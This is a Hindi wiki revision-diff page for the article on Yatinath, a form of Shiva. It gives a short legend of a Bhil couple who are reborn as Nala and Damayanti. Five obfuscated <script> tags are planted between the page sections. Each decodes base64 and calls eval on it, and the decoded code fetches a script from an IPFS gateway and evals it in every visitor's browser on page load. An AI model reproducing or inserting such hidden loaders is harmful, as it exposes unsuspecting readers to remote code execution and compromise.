"यतिनाथ" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "{{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "{{लेख प्रगति |आधार= |प्रारम्भि�) |
|||
(एक अन्य सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया) | |||
पंक्ति 69: | पंक्ति 69: | ||
{{प्रचार}} | {{प्रचार}} | ||
− | {{लेख प्रगति | + | {{लेख प्रगति |आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} |
− | |आधार= | ||
− | |प्रारम्भिक= | ||
− | |माध्यमिक= | ||
− | |पूर्णता= | ||
− | |शोध= | ||
− | }} | ||
{{संदर्भ ग्रंथ}} | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
पंक्ति 85: | पंक्ति 79: | ||
{{शिव}} | {{शिव}} | ||
[[Category:शिव]] | [[Category:शिव]] | ||
− | + | ||
__INDEX__ | __INDEX__ | ||
[[Category:पर्यायवाची कोश]] | [[Category:पर्यायवाची कोश]] |
07:29, 27 जुलाई 2012 के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अंबुदाचल पर एक भील तथा भीलनी रहते थे। एक बार शिव ने उनकी परीक्षा लेने के निमित्त यती का रूप धारण किया और रात-भर उनके घर रहने की इच्छा प्रकट की। घर में दो से अधिक व्यक्ति नहीं आ सकते थे, अत: भील रातभर पहरा देता रहा, भीलनी और यती घर के अंदर सोते रहे। रात में सिंहों ने भील को मारकर खा लिया तथा हड्डियाँ वहीं पर छोड़ दीं। भीलनी को प्रात: ज्ञात हुआ तो वह यती पर रुष्ट न होकर अपने पति के भाग्य को सराहती रही तथा उसकी अस्थियों के साथ सती होने के लिए उद्यत हुई। शिव ने अपने रूप में प्रकट होकर उन दोनों को नल-दमयंती के रूप में जन्म लेने का वरदान दिया तथा कहा कि हंस के रूप में वे उन दोनों के मिलन का निमित्त बनेंगे। शिव का वह रूप यतिनाथ के नाम से प्रसिद्ध है।[1]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>